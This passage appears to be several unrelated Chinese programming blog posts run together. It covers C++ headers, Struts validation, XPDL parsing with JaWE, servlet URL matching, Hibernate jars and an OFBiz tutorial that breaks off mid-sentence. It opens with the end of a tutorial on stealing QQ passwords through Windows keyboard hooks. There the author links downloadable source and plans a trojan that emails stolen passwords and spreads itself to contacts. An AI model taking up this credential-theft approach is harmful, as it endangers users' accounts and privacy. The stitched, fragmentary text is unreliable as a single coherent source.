　　上面四部分基本上获得密码的功能介绍完毕。凡是没有介绍的变量皆是全局变量，没有提到的函数如：GetWindowThreadProcessId(),SetWindowsHookEx(),UnhookWindowsHookEx(),CallNextHookEx(),CreateFile(),WriteFile()等皆是Windows API，周详使用说明请查MSDN（http://www.msdn.com),我提到的“HOOK”，“钩子”是同一个意思，也许有的地方我说的钩子函数，而另外一个地方说的是HOOK函数

　　特别说明：上面有具体的运行文档，由于小弟并没有考虑到更多细节，我只是用了“理想”状况下去获得密码，并且或的密码后并没有注重后期密码处理，也许出现密码大小写不符合或是无法得到密码，请大家千万别笑话，我写这篇菜鸟级别的Blog的原因意在告诉一些对这方面感到疑惑的朋友基本的原理，和希望和大侠们交流 ！

　　后期假如有必要的话，我准备进行改版，按照“真正”的QQ“木马”来写，如：对QQ版本进行识别，密码自动发送到E-MAIL,加入QQ尾巴代码，使其自动传给好友的等功能！请关注我的主页 http://www.uisoft.net

　　注意：我使用的QQ2005 贺岁版 版本号：13.5.0.8213，其他版本的QQ我无法确保能够正确得到密码！

　　参考资料：MSDN，Titilima的QQ尾巴病毒模拟代码,   QQ自动登陆器源码

QQ自动登陆器源码（VC++）下载 ： /Files/hijackwust/QQLogin.rar

      经常在CSDN以及其他之类的技术论坛上问关于C++ 头文件的问题。提出这些问题的往往就是那些刚学C++的新手。当初我是菜鸟的时候也问过类似的问题。

     现在来看看下面两个include:

     #include<iostream>      // 这个就是1998年标准化以后的标准头文件

     #include<iostream.h>        // 这个就是标准化以前的头文件

     更本质上的区别就是iostream把标准C++库的组件放在一个名位std的namespace里面。而相对的iostream.h则将这些标准组件放在全局空间里，同时在标准化以后旧有的C标准库也已经经过改造了。 使用前者，就需要在代码中添加语句：using namespace std;

     看看下面这两个头文件

     // 标准化后经过改造的C的标准库，所有的组件都放在了std中

     #include<cstdio>           

     // 标准化以前C++中的C标准库

     #include<stdio.h>

     // 在看看这个头文件C标准库下 基于char* 的字符处理函数库

     #include<string.h>

     // 在标准化以后他变成了这样

     #include<cstring>

     // 但是很多朋友还看见过这个字符串处理函数库，他包含了新的string class

     #include<string>

     经过了标准委员会如此大规模手术后，在98年以前出品的C++编译器（BC3.0，BC5.0）上能顺利通过编译的源文件，在支持新标准的编译器上可能无法顺利通过编译也就是很正常的事了。

[起因]

     在回过头来看看标准程序库，这个程序库涵盖范围相当广大，提过了许许多多好用的功能。正是因为这样标准程序库中class的名称和函数名与第三方提供的程序库中的class名或是函数名发生名字冲突的可能性大大增大。为了避免这个问题的发生，标准委员会决定将标准程序库中每一样东西都放在namespace std中。但是这么做同时有引来了一个新的问题。很多C++程序代码依赖那些已经存在很多年的C++ “准”标准程序库（C++迟迟未标准化才导致这些情况的发生），例如iosteam.h,complex.h等等。

     为了解决这个新出现的问题，标准化委员会决定设计一些新的头文件名，给那些穿上std外衣的组件所使用。把C++头文件的.h去掉，于是就有前面出现的iostream，同样C的头文件也做了相同的处理，同时在前面加上了一个字母c，以表示是C的头文件（感觉上有中种族歧视的感觉）。同时标准化委员会声明就有的C++头文件将不再列于被支持的名单之中了，而旧有的C头文件为了满足“对C的兼容性”这个古老契约，仍然将继续存活下去。

但是，那些编译器厂商不可能去推翻他们客户的旧有编译器（也跟本不会去这么做），所以那些旧有的C++头文件仍然苟延残喘的活了下来，并不断的扰乱那些C++新兵的心智。

     下面就是现在大多数C++开发工具表示头文件的组织状态：

1.     旧的C++头文件 比如iostream.h，他们虽然被标准化委员会所抛弃，但由于各大厂商为了各自的商业利益仍然将继续存活下去，这些头文件的内容将不处于namespace std中。

2.     新的C++头文件如iostream虽然提供了和旧有头文件相同的功能，但他的内容都并入了namespace std中，从而有效避免了名字污染的问题。

3.     标准C的头文件如stdio.h继续获得支持，这类文件的内容并未放在std中。

4.     C函数库的技能也有对应的新式C++版本，起名称类似cstdio，这类头文件的内容也有幸穿上了std的外衣。

其实标准化以后的标准程序库的改动并不只有这些而已，很多的标准化组件都被“tamplate化”。其中就有元老级人物iostream。标准程序库的问题并不是用一篇，两篇文章就可以说清楚的。如果你像进一步的了解C++的标准程序库的话，你可以看看侯先生的《C++标准程序库》。

一、在对应的Form Baens中重载validate方法

在struts-config.xml文件中，action节点下有“validate”这样一个属性。在struts框架中，默认属性是validate=”true”。所以如果想通过Form Baens的重载validate方法来验证数据的话，可以不用理会这一点。题外话：如果你在struts-config.xml文件中，设置validate="false"的话，validate方法将不起作用。这一点同样对Validate框架来验证数据起作用。

二、通过Validate框架来验证数据

1、首先在struts-config.xml文件中，追加如下代码：

<plug-in className="org.apache.struts.validator.ValidatorPlugIn">

<set-property property="pathnames"

value="/WEB-INF/validator-rules.xml,/WEB-INF/validations.xml"/>

<set-property property="stopOnFirstError" value="false"/>

</plug-in>

2、然后编写自己的Form Baens，有两种方式可供选择：

① 写的formBaen需要继承ValidatorForm，而不是第一种方法中的ActionForm

public class UserForm extends ValidatorForm {

private String userId = "";

private String password = "";

public void setUserId(String userId) {

this.userId = userId;

}

public String getUserId() {

return userId;

}

。。。。。。

然后配置struts-config文件

<form-bean name="userForm"

type="com.wxhx.presentation.UserForm"/>

② 配置struts-config文件

<form-beans>

<form-bean name=" userForm"

type="org.apache.struts.validator.DynaValidatorForm">

<form-property name=" userId" type="java.lang.String"/>

<form-property name="password" type="java.lang.String"/>

</form-bean>

</form-beans>

3、配置validation.xml文件

<formset>

<form name="userForm"> ----这里的userForm是Form Beans的名字

<field

property="userId"

depends="required">

<arg key="userForm.userId"/>

</field>

<field

property="password"

depends="required,mask">

<arg key="userForm.password"/>

<var>

<var-name>mask</var-name>

<var-value>^[0-9a-zA-Z]*$</var-value>

</var>

</field>

</form>

</formset>

其中key="userForm.userId"和key="userForm.password"需要在资源文件中配置

这里需要说明一点，例如：<arg key="userForm.password" resource="false"/>

如果多了resource="false"这句话，那么它不会再从资源文件中去取，而是直接用key值来表示。

以上是通过validatorForm- or DynaValidatorForm来实现Validate验证的

（附）

现在有这样一个问题，Form Beans可以被多个Action应用，而每个Action可能需要的验证字段都不一样。而在validation.xml中配置的验证方式（如<form name="userForm">）是对这个Form Beans进行的。这样的话，如何来验证呢？

你的Form Beans可以继承ValidatorActionForm（当然可以直接配置DynaValidatorActionForm）。如下所示：

public class UserForm extends ValidatorActionForm {

...

}

或是

<form-bean name=" userForm "

type="org.apache.struts.validator.DynaValidatorActionForm">

...

</form-bean>

struts-config文件配置如下：

<action-mappings>

<action path="/technology/createUser"

type="com.wxhx.minihr.CreateUserAction"

name="userForm"/>

<action path="/technology/editUser"

type="com.wxhx.minihr.EditUserAction"

name="userForm"/>

</action-mappings>

validation.xml文件配置如下：

<formset>

<form name="/technology/ createUser ">----这里的采用的是action的path路径

<field property="city"

depends="required">

<arg0 key="prompt.city"/>

</field>

</form>

<form name="/technology/editUser ">

<field property="state"

depends="required">

<arg0 key="prompt.state"/>

</field>

</form>

</formset>

关于validator-rules.xml，定义了常用的一些规则，当然也可以自己追加新的规则。

这里经常会看到msg="errors.required"字样，也是通过资源文件中配置的，默认的资源如下：

# -- validator --

errors.invalid={0} is invalid.

errors.maxlength={0} can not be greater than {1} characters.

errors.minlength={0} can not be less than {1} characters.

errors.range={0} is not in the range {1} through {2}.

errors.required={0} is required.

errors.byte={0} must be an byte.

errors.date={0} is not a date.

errors.double={0} must be an double.

errors.float={0} must be an float.

errors.integer={0} must be an integer.

errors.long={0} must be an long.

errors.short={0} must be an short.

errors.creditcard={0} is not a valid credit card number.

errors.email={0} is an invalid e-mail address.

这在struts-blank的例子中会有，在开发项目的时候，注意这些默认资源

关于自己定义规则，以后再作研究

三、结合上面的两种验证

如果即在Form Beans中重载了validate方法，又启用了Validate框架，那会是什么效果呢？

由于要启用Validate框架，Form Beans需要继承ValidatorForm，查看ValidatorForm的源代码，发现validate方法已经作了处理（真是为Validate框架所服务的）。

那么在Form Beans中重载了validate方法的话，就会覆盖原有ValidatorForm中对应的功能，所以如果想一起用的话，需要在Form Beans的validate方法中调用errors = super.validate(mapping, request);这句代码是启用Validate框架所要做的工作，然后可以判断errors再作下一步的处理。

当然也可以先做Form Beans中的validate方法，然后启用Validate框架，要看具体情况而定。

四、启用客户端验证

也是结合validation.xml来验证的，我把validation.xml相关的内容在复制下来，便于看清楚：

<formset>

<form name="userForm"> ----这里的userForm是Form Beans的名字

<field

property="userId"

depends="required">

<arg key="userForm.userId"/>

</field>

<field

property="password"

depends="required,mask">

<arg key="userForm.password"/>

<var>

<var-name>mask</var-name>

<var-value>^[0-9a-zA-Z]*$</var-value>

</var>

</field>

</form>

</formset>

①在需要客户端验证的jsp中加上这么一句<html:javascript formName=" userForm "/>
其中formName就是validation.xml中<form name="userForm">所对应的内容

②在<html:form中追加一个属性onsubmit="return validateUserForm(this);"

它的语法为：return validate + struts-config.xml中定义的form-bean名称 + (this);

③追加<scriptlanguage="Javascript1.1" src="staticJavascript.jsp"></script>

staticJavascript.jsp的内容为：

<%@ page language="java" %>

<%-- set document type to Javascript(addresses a bug in Netscape according

to a web resource --%>

<%@ page contentType="application/x-javascript" %>

<%@ taglib uri="/WEB-INF/struts-html.tld" prefix="html" %>

<html:javascript dynamicJavascript="false" staticJavascript="true"/>

这只是一种方式，还有其他简洁的（具体为啥这样，不是很明白，希望得到）

比如：追加onsubmit="return validateUserForm(this);"

<html:javascript formName="userForm" staticJavascript="true"/>

型中的接口一，此外，对于工作流的核心而言，如何解释XPDL也是关键。

JaWE是目前公认的比较好的基于Java编写的图形化工作流定义工具，它使用的描述语言正是XPDL。如果你自己想做个简单的工作

流处理引擎，了解和解释XPDL是关键的第一步，既然有了JaWE这个这么好的工具，而且它还是开源的，那么为什么不也利用它的

函数库来解释XPDL呢？

JaWE是一个开源的项目，最新的版本可以在http://jawe.objectweb.org下载。

如果你只是利用它作为XPDL的解释器的话，只需要以下的Java库文件：
jawexpdl.jar

它同时需要几个运行库：
xercesImpl.jar
xml-apis.jar
jawelan.jar (如果不涉及中文的描述，可以不要)

另外如果想直接用JaWE的一些现成的图形化工具库，则需要jawe.jar

下面是个简单的代码例子；

package org.aas.readXPDL;

import org.enhydra.jawe.xml.*;
import org.enhydra.jawe.xml.elements.*;
import java.util.*;

/**
 * @author Jonathan
 * @version v0.1
 * Main: TODO To declare the description of this type
 */
public class Main {

    public static void main(String[] args) {
        XMLInterfaceForJDK13 xml = new XMLInterfaceForJDK13();
        String strFilename = "XXX.xpdl";
        int i = 0;
        XMLElement subElement = null;
        if (xml.doesPackageFileExists(strFilename))
        {
            System.out.println("OK!!!");         
            org.enhydra.jawe.xml.elements.Package pkg = xml.openPackage(strFilename,false);
            // pkg = xml.getPackageByFilename(strFilename);
            // System.out.println("Version:" + pkg.getVersion());
            System.out.println("ElementCount:" + pkg.getElementsCount());
            System.out.println("Is made by JaWE:" + pkg.isMadeByJaWE());
            System.out.println("Package to string:" + pkg.toString());
            System.out.println("ID:" + xml.getIDFromFile(strFilename));
            System.out.println("Current Version:" + pkg.getCurrentVersion());
            System.out.println("Package ID:" + pkg.get("Id"));
            System.out.println("package Name:" + pkg.get("Name"));
           
            // 读取头信息
            System.out.println(" --- 头信息 ---");
            PackageHeader pkgh = (PackageHeader)pkg.get("PackageHeader");
            System.out.println("Header ElementCount:" + pkgh.getElementsCount());
            List pkghList = pkgh.getChildElements();
            for (i=0;i<pkghList.size();i++)
            {
                subElement = (XMLElement)pkghList.get(i);
                Object value = subElement.toValue();
                    System.out.println("No." + i + " : " + subElement.toName()
                       + "[" + subElement.toLabel() + "]  "
                       + value);                        
            }
           
            // 获取WorkflowProcesses
            WorkflowProcesses wfps = (WorkflowProcesses)pkg.get("WorkflowProcesses");
            System.out.println("WorkflowProcesses Number: " + wfps.size());
            Collection wfpList = wfps.toCollection();
            Iterator itor = wfpList.iterator();
            while(itor.hasNext())
            {
                WorkflowProcess wfp = (WorkflowProcess)itor.next();               
                System.out.println(wfp.get("Name"));
                System.out.println(wfp.get("Id"));
            }
            xml.closeAllPackages();
        }
        else
            System.out.println("Error when open the file!");
    }
}

熟悉XML操作的朋友一定觉得很简单吧？
XPDL的各个元模型元素在JaWE中都定义成了对象，可直接使用，十分方便。

一，servlet容器对url的匹配过程：

当一个请求发送到servlet容器的时候，容器先会将请求的url减去当前应用上下文的路径作为servlet的映射url，比如我访问的是http://localhost/test/aaa.html，我的应用上下文是test，容器会将http://localhost/test去掉，剩下的/aaa.html部分拿来做servlet的映射匹配。这个映射匹配过程是有顺序的，而且当有一个servlet匹配成功以后，就不会去理会剩下的servlet了（filter不同，后文会提到）。其匹配规则和顺序如下：

1.     精确路径匹配。例子：比如servletA 的url-pattern为 /test，servletB的url-pattern为 /* ，这个时候，如果我访问的url为http://localhost/test ，这个时候容器就会先 进行精确路径匹配，发现/test正好被servletA精确匹配，那么就去调用servletA，也不会去理会其他的servlet了。

2.     最长路径匹配。例子：servletA的url-pattern为/test/*，而servletB的url-pattern为/test/a/*，此时访问http://localhost/test/a时，容器会选择路径最长的servlet来匹配，也就是这里的servletB。

3.     扩展匹配，如果url最后一段包含扩展，容器将会根据扩展选择合适的servlet。例子：servletA的url-pattern：*.action

4.     如果前面三条规则都没有找到一个servlet，容器会根据url选择对应的请求资源。如果应用定义了一个default servlet，则容器会将请求丢给default servlet（什么是default servlet？后面会讲）。
 

    根据这个规则表，就能很清楚的知道servlet的匹配过程，所以定义servlet的时候也要考虑url-pattern的写法，以免出错。

      对于filter，不会像servlet那样只匹配一个servlet，因为filter的集合是一个链，所以只会有处理的顺序不同，而不会出现只选择一个filter。Filter的处理顺序和filter-mapping在web.xml中定义的顺序相同。

二，url-pattern详解

在web.xml文件中，以下语法用于定义映射：

1.以”/’开头和以”/*”结尾的是用来做路径映射的。

2.以前缀”*.”开头的是用来做扩展映射的。

3.“/” 是用来定义default servlet映射的。

4.剩下的都是用来定义详细映射的。比如： /aa/bb/cc.action

所以，为什么定义”/*.action”这样一个看起来很正常的匹配会错？因为这个匹配即属于路径映射，也属于扩展映射，导致容器无法判断。

新建user_catalog.xml
（其中I:/Eclipse/CommonPlugins/DTD/ 目录下放置各种从网上下载的dtd文件）
如想添加新的dtd文件，修改此配置文件即可。

<?xml version="1.0" encoding="UTF-8"?>
<catalog xmlns="urn:oasis:names:tc:entity:xmlns:xml:catalog">
<system systemId="http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd" uri="file:///I:/Eclipse/CommonPlugins/DTD/web-app_2_4.xsd"/>
<public publicId="-//Apache Software Foundation//DTD Commons Validator Rules Configuration 1.0.1//EN" uri="file:///I:/Eclipse/CommonPlugins/DTD/validator_1_0_1.dtd" webURL="http://jakarta.apache.org/commons/dtds/validator_1_0_1.dtd"/>
<public publicId="-//Apache Software Foundation//DTD Commons Validator Rules Configuration 1.0//EN" uri="file:///I:/Eclipse/CommonPlugins/DTD/validator_1_0.dtd" webURL="http://jakarta.apache.org/commons/dtds/validator_1_0.dtd"/>
<public publicId="-//Apache Software Foundation//DTD Commons Validator Rules Configuration 1.1.3//EN" uri="file:///I:/Eclipse/CommonPlugins/DTD/validator_1_1_3.dtd" webURL="http://jakarta.apache.org/commons/dtds/validator_1_1_3.dtd"/>
<public publicId="-//Apache Software Foundation//DTD Commons Validator Rules Configuration 1.1//EN" uri="file:///I:/Eclipse/CommonPlugins/DTD/validator_1_1.dtd" webURL="http://jakarta.apache.org/commons/dtds/validator_1_1.dtd"/>
<public publicId="-//Apache Software Foundation//DTD Struts Configuration 1.0//EN" uri="file:///I:/Eclipse/CommonPlugins/DTD/struts-config_1_0.dtd" webURL="http://jakarta.apache.org/struts/dtds/struts-config_1_0.dtd"/>
<public publicId="-//Apache Software Foundation//DTD Struts Configuration 1.1//EN" uri="file:///I:/Eclipse/CommonPlugins/DTD/struts-config_1_1.dtd" webURL="http://jakarta.apache.org/struts/dtds/struts-config_1_1.dtd"/>
<public publicId="-//Apache Software Foundation//DTD Struts Configuration 1.2//EN" uri="file:///I:/Eclipse/CommonPlugins/DTD/struts-config_1_2.dtd" webURL="http://jakarta.apache.org/struts/dtds/struts-config_1_2.dtd"/>
<public publicId="-//Apache Software Foundation//DTD Tiles Configuration 1.1//EN" uri="file:///I:/Eclipse/CommonPlugins/DTD/tiles-config_1_1.dtd" webURL="http://jakarta.apache.org/struts/dtds/tiles-config_1_1.dtd"/>
<public publicId="-//GetAhead Limited//DTD Direct Web Remoting 1.0//EN" uri="file:///I:/Eclipse/CommonPlugins/DTD/dwr10.dtd" webURL="http://www.getahead.ltd.uk/dwr/dwr10.dtd"/>
<public publicId="-//Hibernate/Hibernate Configuration DTD 2.0//EN" uri="file:///I:/Eclipse/CommonPlugins/DTD/hibernate-configuration-2.0.dtd" webURL="http://hibernate.sourceforge.net/hibernate-configuration-2.0.dtd"/>
<public publicId="-//Hibernate/Hibernate Configuration DTD 3.0//EN" uri="file:///I:/Eclipse/CommonPlugins/DTD/hibernate-configuration-3.0.dtd" webURL="http://hibernate.sourceforge.net/hibernate-configuration-3.0.dtd"/>
<public publicId="-//Hibernate/Hibernate Mapping DTD 1.1//EN" uri="file:///I:/Eclipse/CommonPlugins/DTD/hibernate-mapping-1.1.dtd" webURL="http://hibernate.sourceforge.net/hibernate-mapping-1.1.dtd"/>
<public publicId="-//Hibernate/Hibernate Mapping DTD 2.0//EN" uri="file:///I:/Eclipse/CommonPlugins/DTD/hibernate-mapping-2.0.dtd" webURL="http://hibernate.sourceforge.net/hibernate-mapping-2.0.dtd"/>
<public publicId="-//Hibernate/Hibernate Mapping DTD 3.0//EN" uri="file:///I:/Eclipse/CommonPlugins/DTD/hibernate-mapping-3.0.dtd" webURL="http://hibernate.sourceforge.net/hibernate-mapping-3.0.dtd"/>
<public publicId="-//Hibernate/Hibernate Reverse Engineering DTD 3.0//EN" uri="file:///I:/Eclipse/CommonPlugins/DTD/hibernate-reverse-engineering-3.0.dtd" webURL="http://hibernate.sourceforge.net/hibernate-reverse-engineering-3.0.dtd"/>
<public publicId="-//SPRING//DTD BEAN//EN" uri="file:///I:/Eclipse/CommonPlugins/DTD/spring-beans.dtd" webURL="http://www.springframework.org/dtd/spring-beans.dtd"/>
<public publicId="-//Sun Microsystems, Inc.//DTD JSP Tag Library 1.1//EN" uri="file:///I:/Eclipse/CommonPlugins/DTD/web-jsptaglibrary_1_1.dtd" webURL="http://java.sun.com/j2ee/dtds/web-jsptaglibrary_1_1.dtd"/>
<public publicId="-//Sun Microsystems, Inc.//DTD JSP Tag Library 1.2//EN" uri="file:///I:/Eclipse/CommonPlugins/DTD/web-jsptaglibrary_1_2.dtd" webURL="http://java.sun.com/j2ee/dtds/web-jsptaglibrary_1_2.dtd"/>
</catalog>

方法一：将此文件直接放在 D:\Eclipse\workspace\.metadata\.plugins\org.eclipse.wst.xml.core\目录
下，eclipse 自动识别。

方法二：手动导入此文件，菜单 myeclipse->preferences->MyEclipse->Files and Editors->XML->xml catalog
选择 user specified entries 点 Add->Next Catalog 添加user_catalog.xml

不知需要导入一些什么JAR文件，导致编译通过，运行抛异常：

Exception in thread "main" java.lang.NoClassDefFoundError: org/dom4j/DocumentException
at com.sd0707.bank.client.Test.main(Test.java:13)

到网上搜索一下才知道少倒入了JAR文件，正好搜到此文，觉得总结的不错，便转之备后用！

-----------------------------------------------------------------------------------------------------------------------------------

hibernate2.jar:
Hibernate的库，必须使用的jar包

cglib-full-2.0.2.jar
CGLIB库，Hibernate用它来实现PO字节码的动态生成，非常核心的库，必须使用的jar包

dom4j-1.4.jar
dom4j是一个Java的XML API，类似于jdom，用来读写XML文件的。dom4j是一个非常非常优秀的Java XML API，具有性能优异、功能强大和极端易用使用的特点，同时它也是一个开放源代码的软件，可以在SourceForge上找到它。在IBM developerWorks上面可以找到一篇文章，对主流的Java XML API进行的性能、功能和易用性的评测，dom4j无论在那个方面都是非常出色的。我早在将近两年之前就开始使用dom4j，直到现在。如今你可以看到越来越多的Java软件都在使用dom4j来读写XML，特别值得一提的是连Sun的JAXM也在用dom4j。这是必须使用的jar包，Hibernate用它来读写配置文件。

odmg-3.0.jar
ODMG是一个ORM的规范，Hibernate实现了ODMG规范，这是一个核心的库，必须使用的jar包。

commons-collections-2.1.1.jar：
Apache Commons包中的一个，包含了一些Apache开发的集合类，功能比java.util.*强大。必须使用的jar包。

commons-beanutils.jar：
Apache Commons包中的一个，包含了一些Bean工具类类。必须使用的jar包。
*注：我没有在Hibernate的lib中看到这个包，不过在Struts中看到这个包，在网上查了一下，这个包提供了易用的java反射。我没有用这个包，也没有出问题（从这里看到的：http://www.blogjava.net/kobe09/archive/2006/06/14/52745.aspx ）

commons-lang-1.0.1.jar
Apache Commons包中的一个，包含了一些数据类型工具类，是java.lang.*的扩展。必须使用的jar包。

commons-logging-1.0.4.jar
Apache Commons包中的一个，包含了日志功能，必须使用的jar包。

从网上查到的，以上为必需的包

anant-1.5.3.jar
Ant编译工具的jar包，用来编译Hibernate源代码的。如果你不准备修改和编译Hibernate源代码，那么就没有什么用，可选的jar包

ant-optional-1.5.3.jar
Ant的一个辅助包。

c3p0-0.8.4.5.jar
C3PO是一个数据库连接池，Hibernate可以配置为使用C3PO连接池。如果你准备用这个连接池，就需要这个jar包。

proxool-0.8.3.jar
也是一个连接池，同上。

commons-pool-1.2.jar, commons-dbcp-1.2.1.jar
DBCP数据库连接池，Apache的Jakarta组织开发的，Tomcat4的连接池也是DBCP。

实际上Hibernate自己也实现了一个非常非常简单的数据库连接池，加上上面3个，你实际上可以在Hibernate上选择4种不同的数据库连接池，选择哪一个看个人的偏好，不过DBCP可能更通用一些。另外强调一点，如果在EJB中使用Hibernate，一定要用App Server的连接池，不要用以上4种连接池，否则容器管理事务不起作用。

connector.jar:
JCA 规范，如果你在App Server上把Hibernate配置为Connector的话，就需要这个jar。不过实际上一般App Server肯定会带上这个包，所以实际上是多余的包。

jaas.jar
JAAS是用来进行权限验证的，已经包含在JDK1.4里面了。所以实际上是多余的包。

jcs-1.0-dev.jar
如果你准备在Hibernate中使用JCS的话，那么必须包括它，否则就不用。

jdbc2_0-stdext.jar:
JDBC2.0的扩展包，一般来说数据库连接池会用上它。不过App Server都会带上，所以也是多余的。

jta.jar：
JTA规范，当Hibernate使用JTA的时候需要，不过App Server都会带上，所以也是多余的。

junit-3.8.1.jar
Junit包，当你运行Hibernate自带的测试代码的时候需要，否则就不用。

xalan-2.4.0.jar, xerces-2.4.0.jar, xml-apis.jar:
Xerces是XML解析器，Xalan是格式化器，xml-apis实际上是JAXP。一般App Server都会带上，JDK1.4也包含了解析器，不过不是Xerces，是Crimson，效率比较差，不过Hibernate用XML只不过是读取配置文件，性能没什么紧要的，所以也是多余的。

Ofbiz(http://www.ofbiz.org) 是 Open Source 的商务软件系统，充分利用了各优秀的的Open Source 项目，
像 Tomcat, Ant, BeanShell, Jboss 等，构建了一个强大的系统平台，Ofbiz 已经完成了大部分商务类软件系统
都需要的部件，像用户认证、工作流、商务规则处理等，Ofbiz 的核心技术在于 Entity Engine，其他的组件基本都
是基于它的。简单来说 Entity Engine 的主要功能是将数据库表创建、对象与数据表的映射、对象的查询等做了强大
封装，你可以在一个简单的 XML 文件中定义数据库表结构，Ofbiz 会自动帮你在数据库建表，并动态生成映射对象，
你在程序中可以只考虑对 Object 的处理，Ofbiz 会自动通过事务逻辑更新到数据库中。Ofbiz 宣称的优点之一是用
很少的 Code 完成复杂的处理。

2.Ofbiz 下载与安装

首先要安装 J2SDK1.4，到 http://java.sun.com 上下载，安装后设定 JAVA_HOME 环境变量为 J2SDK 的安装目录。

访问网站 http://www.ofbiz.org，上面有下载的连接，请选择 Complete 包，因为这个包中已经包含了运行 Ofbiz
的所有东西，下载下来解开后就可以运行了。

解开 Ofbiz 包到一个目录下，假设是 “C:\ofbiz”，该目录下将会有 catalina 和 ofbiz 两个目录， catalina
目录是 Tomcat 的目录，Ofbiz 对其配置做了修改，ofbiz 目录是 Ofbiz 的程序代码目录。在命令行状态下进入
“c:\ofbiz\catalina\bin” 目录，运行“ ofbiz run”命令，就可以启动 Ofbiz，启动后你可以用浏览器访问
“http://localhost:8080/ecommerce”，这可以访问 Ofbiz 的电子商务模块，通过页面上面的连接你可以访问到
其他模块。

3.Ofbiz Schema 的创建

Ofbiz 应用入门：

以一个实例说明，假设我们需要建一个客户资料表，起名为 StudyCustomer，各个段分别如下：
StudyCustomer {
customerId Integer,
customerName String,
customerNote String,
}

我们来实现基本的数据操作---增/删/改/查询，具体步骤如下：

1.在 XML 文件中定义数据 Schema：
需要用到三个文件，一个是我们要建的项目的 entitymodel_xxx.xml 和 entityengine.xml，还有
entitygroup.xml,
entitymodel_xxx.xml 是需要我们自己创建的，假设我们起名为 entitymodel_study.xml，放在
“c:\ofbiz\ofbiz\commonapp\entitydef”目录下，
entityengine.xml 是 Ofbiz 已经有的，放在 “c:\ofbiz\commonapp\etc”目录下，用来包含我们
定义的 entitymodel 文件。
entitygroup.xml 也是 Ofbiz 已经有的，跟 engityengine.xml 在同一目录下，我们需要把我们的
Schema 定义加入到该文件中

entitymodel_study.xml 文件的定义格式如下：
<!--================================================================================-->

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE entitymodel PUBLIC "-//OFBiz//DTD Entity Model//EN"

"" target="_blank">http://www.ofbiz.org/dtds/entitymodel.dtd">

<entitymodel>
<title>Entity of an Open For Business Project Component</title>
<description>None</description>
<copyright>Copyright (c) 2002 The Open For Business Project - www.ofbiz.org</copyright>
<author>None</author>
<version>1.0</version>

<!-- ========================================================= -->
<!-- ======================== Data Model ===================== -->
<!-- The modules in this file are as follows: -->
<!-- - org.ofbiz.commonapp.study -->
<!-- ========================================================= -->

<!-- ========================================================= -->
<!-- org.ofbiz.commonapp.study -->
<!-- ========================================================= -->

<entity entity-name="StudyCustomer"
package-name="org.ofbiz.commonapp.study"
title="Study Customer Entity">
<field name="customerId" type="id-ne"></field>
<field name="customerName" type="long-varchar"></field>
<field name="customerNote" type="long-varchar"></field>
<prim-key field="customerId"/>
</entity>
</entitymodel>

<!--================================================================================-->

这个 XML 文件中的 Tag 基本是看得明白的，只是 field 的 type 是 Ofbiz 已经预定义好的，这
是为了保证数据库间的迁移。

在 entityengine.xml 加入我们刚才定义的文件，加入一行在合适的位置：
<resource loader="mainfile" location="entitymodel_study.xml"/>
具体放的位置我们可以通过查看 entityengine.xml 找到，里面已经有加好的其他文件。

在 entitygroup.xml 加入我们的 Schema 定义，在后面加入一行
<entity-group group="org.ofbiz.commonapp" entity="StudyCustomer" />

这样我们就定义好了 Schema，现在把 c:\ofbiz\commonapp\etc\entityengine.xml 拷贝到
c:\ofbiz\catalina\shared\classes 目录下，这点要切记，我以前就因为没有拷贝，最后 Schema
怎么也创建不了。

重新启动 Ofbiz，访问 URL: http://localhost:8080/webtools，点击右上方的 "Login" 链接，
用 admin/ofbiz 登录，登录进入后选择链接“Check/Update Database”，这时会出现 Check 的 Form，
该表单可以只检验 Schema 是否改变，默认的 GroupName 是“org.ofbiz.commonapp”，这个不需要变，
点击“Check Only”按钮，Ofbiz 会检验变动情况，显示出一个完整的列表，你可以查一下是否有我们刚建的
"StudyCustomer"，如果没有，可能是我们前面定义的有些问题，检查一下再重新做。

在检查到以后，可以再选择“Check and Add Missing”，这是 Ofbiz 很强大的一个功能，你在 XML 中新
增了表，或在某个表中新增了段，它会自动映射到数据库中，避免我们去直接操作数据库。

现在已经完成了 StudyCustomer Schema 的创建,如果想检验一下是否有表创建，我们可以用编辑器打开
c:\ofbiz\data\ofbiz.script ，在里面查询 CREATE TABLE StudyCustomer 的字样，如果前面没有
问题，我们可以找到的。

4.如何使用已经定义的 Schema

如何使用已经定义的 Schema

Ofbiz 遵循 MVC 的设计模式，在 View 端，即 JSP 端主要使用 Ofbiz 定义的 Tag 来显示或
提取数据，Control 是一个 Controller Servlet，我们在 Controller Servlet 的 URI mapping
配置文件中定义各 URL 应该指向什么程序，这样，通过这个 mapping 配置文件，可以保证我们各个页面
及具体处理程序之间的独立性，例我们可以通过修改这个配置文件就可以改变某个 Form 的 Post Action
的 URL，而不需要修改实际的 HTML 或 JSP 代码。

Ofbiz 中定义了 Regions 的概念，即将一个 HTML 页面分成几个区域，像 Top, Left, Right, Main
等，通过这些 Regions 我们可以方便的组合 UI 界面，并且可以方便改变各部分所处的位置，如我们可以
把菜单很容易的从上方移到下方，只需要改变一个配置文件。Regions 类似于 HTML 中的 Frame，但它是
通过一个页面来组合界面，Frame 是通过几个页面显示在不同的帧中，Frame 的控制比较复杂，而且需要
改变相关的程序。

在 Ofbiz 中，我们可以直接在 JSP 中操作 Schema 定义的 Object，即我们刚定义的 StudyCustomer，
示例如下：

<% at taglib uri="ofbizTags" prefix="ofbiz" %>

<%@ page import="java dot util.*" %>
<% at page import="org dot ofbiz.core.util.*, org.ofbiz.core.pseudotag.*" %>
<% at page import="org dot ofbiz.core.entity.*" %>

<jsp:useBean id="delegator" type="org.ofbiz.core.entity.GenericDelegator" scope="request" />
<jsp:useBean id="security" type="org.ofbiz.core.security.Security" scope="request" />

<%if(security.hasEntityPermission("PARTYMGR", "_VIEW", session)) { %>

<%
try {
delegator.create("StudyCustomer",
UtilMisc.toMap("customerId","1","customerName","Cust1","customerNote","Customer Note 1"));

Iterator custs =

UtilMisc.toIterator(delegator.findAll("StudyCustomer",UtilMisc.toList("customerId","customerName","customerNote")));

while(custs.hasNext())
{
GenericValue cust = (GenericValue)custs.next();
out.println(cust.getString("customerId"));
out.println(cust.getString("customerName"));
out.println(cust.getString("customerNote"));
}
} catch(Exception e)
{
out.println(e.getMessage());
}
%>
<% }else{ %>
<h3>You do not have permission to view this page. ("PARTYMGR_VIEW" or "PARTYMGR_ADMIN" needed)</h3>
<% }%>

这段程序挺容易理解，先是通过 delegator 创建一个 Object，该 Object 将会由 Ofbiz 自动同步到
